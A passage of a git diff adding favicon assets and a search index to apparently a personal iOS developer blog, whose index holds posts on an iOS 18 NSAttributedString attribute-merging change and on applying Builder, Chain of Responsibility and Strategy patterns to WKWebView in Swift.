b/assets/img/favicons/android-chrome-192x192.png new file mode 100644 index 0000000000..9e49f471a4 Binary files /dev/null and b/assets/img/favicons/android-chrome-192x192.png differ diff --git a/assets/img/favicons/android-chrome-512x512.png b/assets/img/favicons/android-chrome-512x512.png new file mode 100644 index 0000000000..c27eea30f4 Binary files /dev/null and b/assets/img/favicons/android-chrome-512x512.png differ diff --git a/assets/img/favicons/apple-touch-icon.png b/assets/img/favicons/apple-touch-icon.png new file mode 100644 index 0000000000..2f2f1cd5d0 Binary files /dev/null and b/assets/img/favicons/apple-touch-icon.png differ diff --git a/assets/img/favicons/browserconfig.xml b/assets/img/favicons/browserconfig.xml new file mode 100644 index 0000000000..54217f7c0f --- /dev/null +++ b/assets/img/favicons/browserconfig.xml @@ -0,0 +1 @@ + #da532c diff --git a/assets/img/favicons/favicon-16x16.png b/assets/img/favicons/favicon-16x16.png new file mode 100644 index 0000000000..a0d30d67c3 Binary files /dev/null and b/assets/img/favicons/favicon-16x16.png differ diff --git a/assets/img/favicons/favicon-32x32.png b/assets/img/favicons/favicon-32x32.png new file mode 100644 index 0000000000..f1990d2a93 Binary files /dev/null and b/assets/img/favicons/favicon-32x32.png differ diff --git a/assets/img/favicons/favicon.ico b/assets/img/favicons/favicon.ico new file mode 100644 index 0000000000..85ef2fa6f8 Binary files /dev/null and b/assets/img/favicons/favicon.ico differ diff --git a/assets/img/favicons/mstile-150x150.png b/assets/img/favicons/mstile-150x150.png new file mode 100644 index 0000000000..4a5d941bb7 Binary files /dev/null and b/assets/img/favicons/mstile-150x150.png differ diff --git a/assets/img/favicons/safari-pinned-tab.svg b/assets/img/favicons/safari-pinned-tab.svg new file mode 100644 index 0000000000..28be7673f2 --- /dev/null +++ b/assets/img/favicons/safari-pinned-tab.svg @@ -0,0 +1,73 @@ + + + + +Created by potrace 1.14, written by Peter Selinger 2001-2017 + + + + + diff --git a/assets/img/favicons/site.webmanifest b/assets/img/favicons/site.webmanifest new file mode 100644 index 0000000000..3e1ee84a2a --- /dev/null +++ b/assets/img/favicons/site.webmanifest @@ -0,0 +1 @@ +{ "name": "ZhgChgLi", "short_name": "ZhgChgLi", "description": "ZhgChgLi iOS Developer 求知若渴 教學相長 更愛電影/美劇/西音/運動/生活", "icons": [ { "src": "/assets/img/favicons/android-chrome-192x192.png", "sizes": "192x192", "type": "image/png" }, { "src": "/assets/img/favicons/android-chrome-512x512.png", "sizes": "512x512", "type": "image/png" }], "start_url": "/index.html", "theme_color": "#2a1e6b", "background_color": "#ffffff", "display": "fullscreen" } diff --git a/assets/index.html b/assets/index.html new file mode 100644 index 0000000000..3a8a2a1076 --- /dev/null +++ b/assets/index.html @@ -0,0 +1,11 @@ + + + + Redirecting… + + + + +

Redirecting…

+ Click here if you are not redirected. + diff --git a/assets/js/data/search.json b/assets/js/data/search.json new file mode 100644 index 0000000000..dc2b8eab26 --- /dev/null +++ b/assets/js/data/search.json @@ -0,0 +1 @@ +[ { "title": "Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18", "url": "/posts/9e43897d99fc/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, nsattributedstring, ios-18, ios, swift", "date": "2024-09-20 21:03:42 +0800", "snippet": "Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18Starting from iOS ≥ 18, merging NSAttributedString attributes Range will reference EquatablePhoto by C MIssue OriginAfter t...", "content": "Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18Starting from iOS ≥ 18, merging NSAttributedString attributes Range will reference EquatablePhoto by C MIssue OriginAfter the launch of iOS 18 on September 17, 2024, a developer reported a crash when parsing HTML in the open-source project ZMarkupParser.Seeing this issue was a bit confusing because the program had no issues before, and the crash only occurred with iOS 18, which is illogical. It should be due to some adjustments in the underlying Foundation of iOS 18.Crash TraceAfter tracing the code, the crash issue was pinpointed to occur when iterating over .breaklinePlaceholder Attributes and deleting Range:mutableAttributedString.enumerateAttribute(.breaklinePlaceholder, in: NSMakeRange(0, NSMakeRange(0, mutableAttributedString.string.utf16.count))) { value, range, _ in // ...if condition... // mutableAttributedString.deleteCharacters(in: preRange) // ...if condition... // mutableAttributedString.deleteCharacters(in: range)}.breaklinePlaceholder is a custom NSAttributedString.Key I extended to mark HTML tag information for optimizing the use of line break symbols:struct BreaklinePlaceholder: OptionSet { let rawValue: Int static let tagBoundaryPrefix = BreaklinePlaceholder(rawValue: 1) static let tagBoundarySuffix = BreaklinePlaceholder(rawValue: 2) static let breaklineTag = BreaklinePlaceholder(rawValue: 3)}extension NSAttributedString.Key { static let breaklinePlaceholder: NSAttributedString.Key = .init(\"breaklinePlaceholder\")} But the core issue is not here, because before iOS 17, there was no problem with the input mutableAttributedString when performing the above operations; indicating that the input data content has changed in iOS 18.NSAttributedString attributes: [NSAttributedString.Key: Any?]Before delving into the problem, let’s first introduce the merging mechanism of NSAttributedString attributes.NSAttributedString attributes will automatically compare adjacent Range Attributes objects with the same .key to see if they are the same, and if so, merge them into the same Attribute. For example:let mutableAttributedString = NSMutableAttributedString(string: \"\", attributes: nil)mutableAttributedString.append(NSAttributedString(string: \"<div>\", attributes: [.font: UIFont.systemFont(ofSize: 14)]))mutableAttributedString.append(NSAttributedString(string: \"<div>\", attributes: [.font: UIFont.systemFont(ofSize: 14)]))mutableAttributedString.append(NSAttributedString(string: \"<p>\", attributes: [.font: UIFont.systemFont(ofSize: 14)]))mutableAttributedString.append(NSAttributedString(string: \"Test\", attributes: [.font: UIFont.systemFont(ofSize: 12)]))Final Merged Attributes:<div><div><p>{ NSFont = \"<UICTFont: 0x101d13400> font-family: \\\".SFUI-Regular\\\"; font-weight: normal; font-style: normal; font-size: 14.00pt\";}Test{ NSFont = \"<UICTFont: 0x101d13860> font-family: \\\".SFUI-Regular\\\"; font-weight: normal; font-style: normal; font-size: 12.00pt\";}When enumerating enumerateAttribute(.breaklinePlaceholder...), the following results will be obtained:NSRange {0, 13}: <UICTFont: 0x101d13400> font-family: \".SFUI-Regular\"; font-weight: normal; font-style: normal; font-size: 14.00ptNSRange {13, 4}: <UICTFont: 0x101d13860> font-family: \".SFUI-Regular\"; font-weight: normal; font-style: normal; font-size: 12.00ptNSAttributedString attributes merging — Underlying implementation speculationIt is speculated that the underlying implementation uses Set<Hashable> as the Attributes container, automatically excluding the same Attribute objects.However, for convenience of use, the NSAttributedString attributes: [NSAttributedString.Key: Any?] Value objects are declared as Any? Type, without restricting Hashable.Therefore, it is speculated that the system will conform to as? Hashable at the underlying level and then use Set to merge and manage objects. The difference in adjustment for iOS ≥ 18 is speculated to be the underlying implementation issue here.The following is an example using our custom .breaklinePlaceholder Attributes:struct BreaklinePlaceholder: Equatable { let rawValue: Int static let tagBoundaryPrefix = BreaklinePlaceholder(rawValue: 1) static let tagBoundarySuffix = BreaklinePlaceholder(rawValue: 2) static let breaklineTag = BreaklinePlaceholder(rawValue: 3)}extension NSAttributedString.Key { static let breaklinePlaceholder: NSAttributedString.Key = .init(\"breaklinePlaceholder\")}//let mutableAttributedString = NSMutableAttributedString(string: \"\", attributes: nil)mutableAttributedString.append(NSAttributedString(string: \"<div>\", attributes: [.breaklinePlaceholder: NSAttributedString.Key.BreaklinePlaceholder.tagBoundaryPrefix]))mutableAttributedString.append(NSAttributedString(string: \"<div>\", attributes: [.breaklinePlaceholder: NSAttributedString.Key.BreaklinePlaceholder.tagBoundaryPrefix]))mutableAttributedString.append(NSAttributedString(string: \"<p>\", attributes: [.breaklinePlaceholder: NSAttributedString.Key.BreaklinePlaceholder.tagBoundaryPrefix]))mutableAttributedString.append(NSAttributedString(string: \"Test\", attributes: nil))For iOS ≤ 17, the following Attributes merging result will be obtained:<div>{ breaklinePlaceholder = \"NSAttributedStringCrash.BreaklinePlaceholder(rawValue: 1)\";}<div>{ breaklinePlaceholder = \"NSAttributedStringCrash.BreaklinePlaceholder(rawValue: 1)\";}<p>{ breaklinePlaceholder = \"NSAttributedStringCrash.BreaklinePlaceholder(rawValue: 1)\";}Test{}For iOS ≥ 18, the following Attributes merging result will be obtained:<div><div><p>{ breaklinePlaceholder = \"NSAttributedStringCrash.BreaklinePlaceholder(rawValue: 1)\";}Test{} The same program can have different results on different versions of iOS, which ultimately leads to unexpected crashes in the subsequent enumerateAttribute(.breaklinePlaceholder..) due to the handling logic.⭐️ iOS ≥ 18 NSAttributedString attributes: [NSAttributedString.Key: Any?] will reference Equatable == more ⭐️Comparison of results with and without implementing Equatable/Hashable in iOS 17/18 ⭐️⭐️ iOS ≥ 18 will reference Equatable more, while iOS ≤ 17 will not. ⭐️⭐️Combining the above, the NSAttributedString attributes: [NSAttributedString.Key: Any?] Value object is declared as Any? Type, based on observations, iOS ≥ 18 will first reference Equatable to determine equality, and then use Hashable Set to merge and manage objects.Conclusion When merging Range Attributes with NSAttributedString attributes: [NSAttributedString.Key: Any?], iOS ≥ 18 will reference Equatable more, which is different from before.Additionally, starting from iOS 18, if only Equatable is declared, XCode Console will also output a Warning: Obj-C ` -hash` invoked on a Swift value of type `BreaklinePlaceholder` that is Equatable but not Hashable; this can lead to severe performance problems.For any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility Pattern", "url": "/posts/f4b02ee342a4/", "categories": "KKday, Tech, Blog", "tags": "ios-app-development, design-patterns, chain-of-responsibility, builder-pattern, strategy-pattern", "date": "2024-09-06 13:47:47 +0800", "snippet": "Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility PatternScenarios of using Design Patterns (Strategy, Chain of Responsibility, Build...", "content": "Practical Application Record of Design Patterns—In WKWebView with Builder, Strategy & Chain of Responsibility PatternScenarios of using Design Patterns (Strategy, Chain of Responsibility, Builder Pattern) when encapsulating iOS WKWebView.Photo by Dean PughAbout Design PatternsBefore discussing Design Patterns, it is worth mentioning that the most classic GoF 23 design patterns were published 30 years ago (in 1994). With changes in tools, languages, and software development patterns, many new design patterns have emerged in various fields. Design Patterns are not a universal solution or the only solution. Their existence is more like a “linguistic term” where the appropriate design pattern is applied in suitable scenarios, reducing obstacles in development collaboration. For example, applying the Strategy pattern here allows future maintainers to iterate directly according to the structure of the Strategy pattern, and design patterns mostly decouple well, providing significant assistance in scalability and testability.Guidelines for Using Design Patterns Not the only solution Not a universal solution Avoid forcing patterns; choose the appropriate design pattern based on the type of problem to be solved (creation? behavior? structure?) and the purpose Avoid arbitrary modifications, as this can lead to misunderstandings by future maintainers. Just like how everyone calls Apple “Apple,” if you define it as “Banana,” it becomes an additional development cost that needs special knowledge Avoid using keywords unnecessarily; for example, if the Factory Pattern is conventionally named XXXFactory, it should not be used unless it is a factory pattern Be cautious about creating new patterns. Although there are only 23 classic patterns, the evolution in various fields over the years has introduced many new patterns. It is advisable to first refer to online resources to find suitable patterns (after all, three mediocre craftsmen surpass one Zhuge Liang). If no suitable pattern is found, propose a new design pattern and publish it for review and adjustment by people in different fields and contexts Ultimately, code is written for human maintenance. As long as it is easy to maintain and extend, design patterns are not always necessary Team consensus on Design Patterns is essential for their effective use Design Patterns can be combined with other Design Patterns Practical experience is crucial for mastering Design Patterns and understanding when to apply them appropriatelyAuxiliary Tool ChatGPTWith ChatGPT, learning the practical application of Design Patterns has become easier. Just provide a detailed description of your problem, ask which design patterns are suitable for the scenario, and it can suggest several potentially suitable patterns with explanations. While not every answer may be perfect, it provides viable directions. By delving into these patterns and combining them with your practical scenarios, you can ultimately choose a good solution!Practical Application Scenarios of Design Patterns in WKWebViewThis Design Patterns practical application is to converge the functionality of the WKWebView object in the current Codebase and develop a unified WKWebView component. The experience of applying Design Patterns at appropriate logical abstraction points when developing the WKWebView component is shared. The complete demo project code will be attached at the end of the document.Original Unabstracted Implementationclass WKWebViewController: UIViewController { // MARK - Define some variables and switches for injecting features during external initialization... // Simulate business logic: Switch to match special paths to open native pages let noNeedNativePresent: Bool // Simulate business logic: Switch for DeeplinkManager check let deeplinkCheck: Bool // Simulate business logic: Is it the homepage? let isHomePage: Bool // Simulate business logic: Scripts to inject into WKWebView as WKUserScript let userScripts: [WKUserScript] // Simulate business logic: Scripts to inject into WKWebView as WKScriptMessageHandler let scriptMessageHandlers: [String: WKScriptMessageHandler] // Override ViewController Title with Title obtained from WebView let overrideTitleFromWebView: Bool let url: URL // ... }// ...extension OldWKWebViewController: WKNavigationDelegate { // MARK - iOS WKWebView's navigationAction Delegate, used to determine how to handle the upcoming link // Must call decisionHandler(.allow) or decisionHandler(.cancel) at the end // decisionHandler(.cancel) will interrupt loading the upcoming page // Different variables and switches have different logic processing here: func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) { guard let url = navigationAction.request.url else { decisionHandler(.allow) return } // Simulate business logic: WebViewController deeplinkCheck == true (indicating the need to check with DeepLinkManager and open the page) if deeplinkCheck { print(\"DeepLinkManager.open(\\(url.absoluteString)\") // Simulate DeepLinkManager logic, open the URL if successful and end the process. // if DeepLinkManager.open(url) == true { decisionHandler(.cancel) return // } } // Simulate business logic: WebViewController isHomePage == true (indicating the homepage) & WebView is browsing the homepage, switch TabBar Index if isHomePage { if url.absoluteString == \"https://zhgchg.li\" { print(\"Switch UITabBarController to Index 0\") decisionHandler(.cancel) } } // Simulate business logic: WebViewController noNeedNativePresent == false (indicating the need to match special paths to open native pages) if !noNeedNativePresent { if url.pathComponents.count >= 3 { if url.pathComponents[1] == \"product\" { // match http://zhgchg.li/product/1234 let id = url.pathComponents[2] print(\"Present ProductViewController(\\(id)\") decisionHandler(.cancel) } else if url.pathComponents[1] == \"shop\" { // match http://zhgchg.li/shop/1234 let id = url.pathComponents[2] print(\"Present ShopViewController(\\(id)\") decisionHandler(.cancel) } // more... } } decisionHandler(.allow) }}// ...Issues Setting variables and switches in the Class makes it unclear which ones are for configuration. Exposing WKUserScript variables directly to the outside, we want to control the injected JS and only allow injection of specific behaviors. Unable to control the registration rules of WKScriptMessageHandler. If you need to initialize a similar WebView, you need to repeatedly write the injection parameter rules, and the parameter rules cannot be reused. The navigationAction Delegate controls the flow internally based on variables. If you need to delete or modify the flow or sequence, you have to modify the entire code, which may disrupt the originally normal flow.Builder Pattern The Builder Pattern is a creational design pattern that separates the construction steps and logic of creating an object. The operator can set parameters step by step and reuse the settings, and finally create the target object. Additionally, the same construction steps can create different object implementations.Using the example of making a Pizza in the image above, the steps of making a Pizza are broken down into several methods and declared in the PizzaBuilder protocol (Interface). ConcretePizzaBuilder is the actual object that makes the Pizza, which could be VegetarianPizzaBuilder & MeatPizzaBuilder; different builders may have different ingredients, but they all ultimately build() to produce a Pizza object.WKWebView ScenarioIn the WKWebView scenario, our final output object is MyWKWebViewConfiguration. We consolidate all the variables that WKWebView needs to set into this object and use the Builder Pattern MyWKWebViewConfigurator to gradually complete the construction of the Configuration.public struct MyWKWebViewConfiguration { let headNavigationHandler: NavigationActionHandler? let scriptMessageStrategies: [ScriptMessageStrategy] let userScripts: [WKUserScript] let overrideTitleFromWebView: Bool let url: URL}// All parameters are only exposed internally within the moduleMyWKWebViewConfigurator (Builder Pattern) Since I only have the need to Build for MyWKWebView here, I did not further break down MyWKWebViewConfigurator into multiple Protocols (Interfaces).public final class MyWKWebViewConfigurator { private var headNavigationHandler: NavigationActionHandler? = nil private var overrideTitleFromWebView: Bool = true private var disableZoom: Bool = false private var scriptMessageStrategies: [ScriptMessageStrategy] = [] public init() { } // Encapsulate parameters, internal control public func set(disableZoom: Bool) -> Self { self.disableZoom = disableZoom return self } public func set(overrideTitleFromWebView: Bool) -> Self { self.overrideTitleFromWebView = overrideTitleFromWebView return self } public func set(headNavigationHandler: NavigationActionHandler) -> Self { self.headNavigationHandler = headNavigationHandler return self } // Can encapsulate additional logic rules inside public func add(scriptMessageStrategy: ScriptMessageStrategy) -> Self { scriptMessageStrategies.removeAll(where: { type(of: $0).identifier == type(of: scriptMessageStrategy).identifier }) scriptMessageStrategies.append(scriptMessageStrategy) return self } public func build(url: URL) -> MyWKWebViewConfiguration { var userScripts:[WKUserScript] = [] // Attach only when generating if disableZoom { let script = \"var meta = document.createElement('meta'); meta.name='viewport'; meta.content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(meta);\" let disableZoomScript = WKUserScript(source: script, injectionTime: .atDocumentEnd, forMainFrameOnly: true) userScripts.append(disableZoomScript) } return MyWKWebViewConfiguration(headNavigationHandler: headNavigationHandler, scriptMessageStrategies: scriptMessageStrategies, userScripts: userScripts, overrideTitleFromWebView: overrideTitleFromWebView, url: url) }}Adding an extra layer can also better control the usage permissions of Access Control for isolating parameters. In this scenario, we still want to be able to directly inject WKUserScript into MyWKWebView, but we don’t want to leave the door wide open for users to inject at will. Therefore, combining the Builder Pattern with Swift Access Control, after MyWKWebView has been placed in a Module, MyWKWebViewConfigurator encapsulates externally as an operation method func set(disableZoom: Bool), internally generating MyWKWebViewConfiguration with attached WKUserScript. All parameters of MyWKWebViewConfiguration are immutable externally and can only be generated through MyWKWebViewConfigurator.MyWKWebViewConfigurator + Simple Factory Simple FactoryOnce we have the MyWKWebViewConfigurator Builder, we can create a simple factory to encapsulate and reuse the construction steps.struct MyWKWebViewConfiguratorFactory { enum ForType { case `default` case productPage case payment } static func make(for type: ForType) -> MyWKWebViewConfigurator { switch type { case .default: return MyWKWebViewConfigurator() .add(scriptMessageStrategy: PageScriptMessageStrategy()) .set(overrideTitleFromWebView: false) .set(disableZoom: false) case .productPage: return Self.make(for: .default).set(disableZoom: true).set(overrideTitleFromWebView: true) case .payment: return MyWKWebViewConfigurator().set(headNavigationHandler: paymentNavigationActionHandler) } }}Chain of Responsibility Pattern The Chain of Responsibility Pattern belongs to the behavioral design pattern, encapsulating object handling operations and chaining them together in a linked structure. The request operation will be passed along the chain until it is handled; the chained encapsulated operations can be flexibly combined and the order changed. The Chain of Responsibility focuses on whether you want to handle something that comes in, if not, then skip it, so it cannot handle halfway or modify the input object and pass it to the next; if this is the requirement, it is another Interceptor Pattern.The diagram above uses Tech Support (or OnCall…) as an example. When a problem object comes in, it first goes through CustomerService. If it cannot handle it, it is passed down to the next level, Supervisor. If it still cannot handle it, it continues down to TechSupport. Additionally, different responsibility chains can be formed for different issues. For example, if it is a problem from a major client, it will be handled directly from Supervisor. In the Swift UIKit Responder Chain, the Chain of Responsibility pattern is also used to respond to user operations on the UI.WKWebView ScenarioIn our WKWebView scenario, it is mainly applied in the func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) delegate method. When the system receives a URL request, it will go through this method for us to decide whether to allow the redirection, and call decisionHandler(.allow) or decisionHandler(.cancel) at the end to inform the result.In the implementation of WKWebView, there will be many judgments or page handling that are different from others and need to be bypassed:// Original implementation...func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) { guard let url = navigationAction.request.url else { decisionHandler(.allow) return } // Simulated business logic: WebViewController deeplinkCheck == true (indicating the need to check and open the page through DeepLinkManager) if deeplinkCheck { print(\"DeepLinkManager.open(\\(url.absoluteString)\") // Simulated DeepLinkManager logic, open the URL if successful and end the process. // if DeepLinkManager.open(url) == true { decisionHandler(.cancel) return // } } // Simulated business logic: WebViewController isHomePage == true (indicating the home page is open) & WebView is browsing the homepage, then switch TabBar Index if isHomePage { if url.absoluteString == \"https://zhgchg.li\" { print(\"Switch UITabBarController to Index 0\") decisionHandler(.cancel) } } // Simulated business logic: WebViewController noNeedNativePresent == false (indicating the need to match special paths to open native pages) if !noNeedNativePresent { if url.pathComponents.count >= 3 { if url.pathComponents[1] == \"product\" { // match http://zhgchg.li/product/1234 let id = url.pathComponents[2] print(\"Present ProductViewController(\\(id)\") decisionHandler(.cancel) } else if url.pathComponents[1] == \"shop\" { // match http://zhgchg.li/shop/1234 let id = url.pathComponents[2] print(\"Present ShopViewController(\\(id)\") decisionHandler(.cancel) } // more... } } // more... decisionHandler(.allow)}As time goes by, the functionality becomes more and more complex, and the logic here will also become more and more. If the processing order is different, it will become a disaster.NavigationActionHandler (Chain of Responsibility Pattern)Define the Handler Protocol first:public protocol NavigationActionHandler: AnyObject { var nextHandler: NavigationActionHandler? { get set } /// Handles navigation actions for the web view. Returns true if the action was handled, otherwise false. func handle(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) -> Bool /// Executes the navigation action policy decision. If the current handler does not handle it, the next handler in the chain will be executed. func exeute(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void)}public extension NavigationActionHandler { func exeute(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) { if !handle(webView: webView, decidePolicyFor: navigationAction, decisionHandler: decisionHandler) { self.nextHandler?.exeute(webView: webView, decidePolicyFor: navigationAction, decisionHandler: decisionHandler) ?? decisionHandler(.allow) } }} The operation is implemented in func handle(), returning true if there is further processing, otherwise false. func exeute() is the default chain access implementation, which will traverse the entire operation chain from here. The default behavior is that when func handle() returns false (indicating that this node cannot handle it), it automatically calls the execute() of the next nextHandler to continue processing until the end.Implementation:// Default implementation, usually placed at the endpublic final class DefaultNavigationActionHandler: NavigationActionHandler { public var nextHandler: NavigationActionHandler? public init() { } public func handle(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) -> Bool { decisionHandler(.allow) return true }}//final class PaymentNavigationActionHandler: NavigationActionHandler { var nextHandler: NavigationActionHandler? func handle(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) -> Bool { guard let url = navigationAction.request.url else { return false } // Simulate business logic: Payment related, two-step verification WebView...etc print(\"Present Payment Verify View Controller\") decisionHandler(.cancel) return true }}//final class DeeplinkManagerNavigationActionHandler: NavigationActionHandler { var nextHandler: NavigationActionHandler? func handle(webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) -> Bool { guard let url = navigationAction.request.url else { return false } // Simulate DeepLinkManager logic, open the URL if successful and end the process. // if DeepLinkManager.open(url) == true { decisionHandler(.cancel) return true // } else { return false // }}// More...extension MyWKWebViewController: WKNavigationDelegate { public func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) { let headNavigationActionHandler = DeeplinkManagerNavigationActionHandler() let defaultNavigationActionHandler = DefaultNavigationActionHandler() let paymentNavigationActionHandler = PaymentNavigationActionHandler() headNavigationActionHandler.nextHandler = paymentNavigationActionHandler paymentNavigationActionHandler.nextHandler = defaultNavigationActionHandler headNavigationActionHandler.exeute(webView: webView, decidePolicyFor: navigationAction, decisionHandler: decisionHandler) }}This way, when a request is received, it will be processed sequentially according to the handling chain we defined.Combining the previous Builder Pattern MyWKWebViewConfigurator by exposing headNavigationActionHandler as a parameter allows external control over the processing requirements and order of this WKWebView:extension MyWKWebViewController: WKNavigationDelegate { public func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) { configuration.headNavigationHandler?.exeute(webView: webView, decidePolicyFor: navigationAction, decisionHandler: decisionHandler) ?? decisionHandler(.allow) }}//...struct MyWKWebViewConfiguratorFactory { enum ForType { case `default` case productPage case payment } static func make(for type: ForType) -> MyWKWebViewConfigurator { switch type { case .default: // Simulating default scenario with these handlers let deplinkManagerNavigationActionHandler = DeeplinkManagerNavigationActionHandler() let homePageTabSwitchNavigationActionHandler = HomePageTabSwitchNavigationActionHandler() let nativeViewControllerNavigationActionHandlera = NativeViewControllerNavigationActionHandler() let defaultNavigationActionHandler = DefaultNavigationActionHandler() deplinkManagerNavigationActionHandler.nextHandler = homePageTabSwitchNavigationActionHandler homePageTabSwitchNavigationActionHandler.nextHandler = nativeViewControllerNavigationActionHandlera nativeViewControllerNavigationActionHandlera.nextHandler = defaultNavigationActionHandler return MyWKWebViewConfigurator() .add(scriptMessageStrategy: PageScriptMessageStrategy()) .add(scriptMessageStrategy: UserScriptMessageStrategy()) .set(headNavigationHandler: deplinkManagerNavigationActionHandler) .set(overrideTitleFromWebView: false) .set(disableZoom: false) case .productPage: return Self.make(for: .default).set(disableZoom: true).set(overrideTitleFromWebView: true) case .payment: // Simulating payment page with only these handlers, and paymentNavigationActionHandler having the highest priority let paymentNavigationActionHandler = PaymentNavigationActionHandler() let deplinkManagerNavigationActionHandler = DeeplinkManagerNavigationActionHandler() let defaultNavigationActionHandler = DefaultNavigationActionHandler() paymentNavigationActionHandler.nextHandler = deplinkManagerNavigationActionHandler deplinkManagerNavigationActionHandler.nextHandler = defaultNavigationActionHandler return MyWKWebViewConfigurator().set(headNavigationHandler: paymentNavigationActionHandler) } }}Strategy Pattern![](/assets/f4b02ee342a4/1*RiMbrBGdFG6INBRCcE_WZw.png)> _The Strategy Pattern belongs to the **behavioral** design pattern, which abstracts the actual operation. We can implement various different operations, allowing flexibility to replace them according to different contexts._The above diagram illustrates different payment methods. We abstract the payment as a `Payment` Protocol (Interface), and then each payment method implements its own implementation. When using `PaymentContext` (simulating external usage), based on the user's selected payment method, the corresponding Payment entity is generated and `pay()` is called to process the payment.#### WKWebView Scenario> _Used in the interaction between WebView and frontend pages._> _When frontend JavaScript calls:_> _`window.webkit.messageHandlers.Name.postMessage(Parameters);`_> _It will go to WKWebView to find the corresponding `WKScriptMessageHandler` Class for `Name` and execute the operation._The system already has defined Protocol and the corresponding `func add(_ scriptMessageHandler: any WKScriptMessageHandler, name: String)` method. We just need to define our own `WKScriptMessageHandler` implementation and add it to WKWebView. The system will dispatch to the corresponding concrete strategy to execute based on the received `name` following the Strategy Pattern strategy.Here, we simply extend the Protocol with `WKScriptMessageHandler`, adding an `identifier: String` for `add(.. name:)` usage:![](/assets/f4b02ee342a4/1*RLA13rSVDIG9cV3CsWtS3g.png)```swiftpublic protocol ScriptMessageStrategy: NSObject, WKScriptMessageHandler { static var identifier: String { get }}Implementation:final class PageScriptMessageStrategy: NSObject, ScriptMessageStrategy { static var identifier: String = \"page\" func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) { // Simulating called from js: window.webkit.messageHandlers.page.postMessage(\"Close\"); print(\"\\(Self.identifier): \\(message.body)\") }}//final class UserScriptMessageStrategy: NSObject, ScriptMessageStrategy { static var identifier: String = \"user\" func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) { // Simulating called from js: window.webkit.messageHandlers.user.postMessage(\"Hello\"); print(\"\\(Self.identifier): \\(message.body)\") }}WKWebView Registration:var scriptMessageStrategies: [ScriptMessageStrategy] = []scriptMessageStrategies.forEach { scriptMessageStrategy in webView.configuration.userContentController.add(scriptMessageStrategy, name: type(of: scriptMessageStrategy).identifier)}Combining the Builder Pattern from the previous MyWKWebViewConfigurator to externally manage the registration of ScriptMessageStrategy:public final class MyWKWebViewConfigurator { //... // You can encapsulate the logic for adding rules inside public func add(scriptMessageStrategy: ScriptMessageStrategy) -> Self { // Here, only the old logic will be deleted first when implementing duplicate identifiers scriptMessageStrategies.removeAll(where: { type(of: $0).identifier == type(of: scriptMessageStrategy).identifier }) scriptMessageStrategies.append(scriptMessageStrategy) return self } //...}//...public class MyWKWebViewController: UIViewController { //... public override func viewDidLoad() { super.viewDidLoad() //... configuration.scriptMessageStrategies.forEach { scriptMessageStrategy in webView.configuration.userContentController.add(scriptMessageStrategy, name: type(of: scriptMessageStrategy).identifier) } //... }}Question: Can this scenario also be replaced with the Chain of Responsibility Pattern?At this point, some friends may wonder if the Strategy Pattern here can be replaced with the Chain of Responsibility Pattern. Both of these design patterns are behavioral and can be replaced; however, the actual choice depends on the specific requirements. In this case, the Strategy Pattern is very typical, where WKWebView determines different strategies based on the Name. If our requirement involves chain dependencies between different strategies or recovery relationships, such as if AStrategy cannot handle it and needs to pass it to BStrategy, then we would consider using the Chain of Responsibility Pattern.Strategy v.s. Chain of Responsibility Strategy Pattern: Clearly defined execution strategies without relationships between them. Chain of Responsibility Pattern: Execution strategy is determined in individual implementations, passing to the next implementation if unable to handle.For complex scenarios, you can combine the Chain of Responsibility Pattern inside the Strategy Pattern to achieve the desired outcome.Final Combination Simple Factory Pattern MyWKWebViewConfiguratorFactory -> Encapsulates the steps to generate MyWKWebViewConfigurator Builder Pattern MyWKWebViewConfigurator -> Encapsulates MyWKWebViewConfiguration parameters and construction steps Injection of MyWKWebViewConfiguration -> Used by MyWKWebViewController Chain of Responsibility Pattern MyWKWebViewController’s func webView(_ webView: WKWebView, decidePolicyFor navigationAction: WKNavigationAction, decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) -> Calls headNavigationHandler?.execute(webView: webView, decidePolicyFor: navigationAction, decisionHandler: decisionHandler) for chain execution handling Strategy Pattern MyWKWebViewController’s webView.configuration.userContentController.addUserScript(XXX) dispatches the corresponding JS Caller to the respective handling strategy.Complete Demo RepoFurther Reading Record of Practical Applications of Design Patterns Visitor Pattern in Swift (Share Object to XXX Example) Visitor Pattern in TableViewIf you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Travelogue 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip", "url": "/posts/b7e7c0938985/", "categories": "Travelogue", "tags": "Life, travel, travel-writing, bangkok, thailand", "date": "2024-08-25 01:23:20 +0800", 